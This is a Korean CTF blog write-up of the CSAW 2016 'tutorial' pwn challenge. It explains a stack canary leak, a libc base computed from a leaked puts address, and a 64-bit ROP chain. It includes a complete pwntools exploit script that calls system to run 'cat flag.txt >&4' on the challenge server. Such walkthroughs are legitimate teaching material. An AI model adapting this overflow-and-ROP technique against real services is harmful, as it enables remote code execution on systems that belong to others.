-
CSAW 2016 - tutorialCTF 2016. 9. 18. 07:43
LeaveCat - pwn200(tutorial)
libc-2.19.sotutorialit's just 64bit ROP
[Technic]
- Memory Leak( Leak Canary )
- 64bit ROP
우선, binary와 library 파일이 주어진다. 바이너리분석, 라이브러리는 오프셋계산과 가젯을 구하는데 사용된다.
전형적인 소켓을 여는 바이너리이다.
dlsym함수를통해 puts 라이브러리 주소를 출력해준다.
이 함수를 이용해 puts의 라이브러리주소를 얻어온후, 제공된 라이브러리로 오프셋을 계산해 이미지베이스를 토대로 시스템함수를 구하고, 여러가지 가젯을 구해쓰면된다.
우선 기본적으로 해당 바이너리는 SSP 보호기법이 걸려있다. 릭 할곳을 찾아야하는데, 다음 함수를 보면 릭이 가능하다.
v2는 rbp에서 0x140 만큼 떨어져있다. 0x320바이트인데, read함수를통해 오버플로우를 떡하니 제공한다 (아싸)
그리고 이상한것은 write로 v2를 출력하는데, 324바이트나 출력해준다. = 카나리 그냥 줌
카나리를 구하면되는데 아주 좋은점은 fork가 되어있기때문에 nc 접속이 끊겨도 카나리는 동일하다.
릭은 그냥 아무렇게만 해주면 되고, 64bit ROP만 남았다.
system함수는 제공되지않는다. 하지만 우리는 라이브러리 오프셋을 계산해서 모두 구할수있다.
64bit의 콜링 컨벤션은 다음과같다.
[64BIT CALLING CONVENTION]
- function@plt + rdi + rsi + rdx + rcx
이제 이것을 참고하여 ROP를 진행하면된다.
[exp.py]
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869from pwn import *p = remote("pwn.chal.csaw.io",8002)#p = remote("10.211.55.17",12349)elf = ELF("./tutorial")libc = ELF("./libc-2.19.so")libc_puts,libc_system = libc.symbols['puts'],libc.symbols['system']bss = elf.bss()read_plt = elf.plt['read']write_plt = elf.plt['write']catflag = "cat flag.txt >&4"canary = 0x9068bb666202a700def leakcanary():print p.recvuntil(">")p.sendline("2")print p.recvuntil(">")payload = "A"*311p.sendline(payload)p.recvuntil("A"*311)leak = p.recv(14)print leak.encode('hex')def exploit():print p.recvuntil(">")p.sendline("1")print p.recvuntil("Reference:")puts_got = int(p.recv(14),16) + 1280print "[*] system@libc: " + hex(libc_system)libc_base = puts_got - libc_putsprint "[*] libc_base: " + hex(libc_base)system_addr = libc_base + libc_systemprint "[*] system: " + hex(system_addr)poprdiret = libc_base + 0x22b9apoprsiret = libc_base + 0x24885poprdxret = libc_base + 0xbcdf0print p.recvuntil(">")p.sendline("2")print p.recvuntil(">")payload = "\x90"*312payload += p64(canary)payload += "AAAA"*2 #sfp 8bytepayload += p64(poprdiret)payload += p64(4)payload += p64(poprsiret)payload += p64(bss)payload += p64(poprdxret)payload += p64(len(catflag))payload += p64(read_plt)payload += p64(poprdiret)payload += p64(bss)payload += p64(system_addr)p.sendline(payload)p.sendline(catflag)leakcanary()exploit()p.interactive()cs 'CTF' 카테고리의 다른 글
h4ck1t - Capture Angola (0) 2016.10.03 CSAW 2016 - Clams Don't Dance (0) 2016.09.19 ASIS CTF Finals 2016 - shadow (0) 2016.09.12 Layer CTF sanity_check (0) 2016.09.04 Layer CTF echo_system (0) 2016.09.04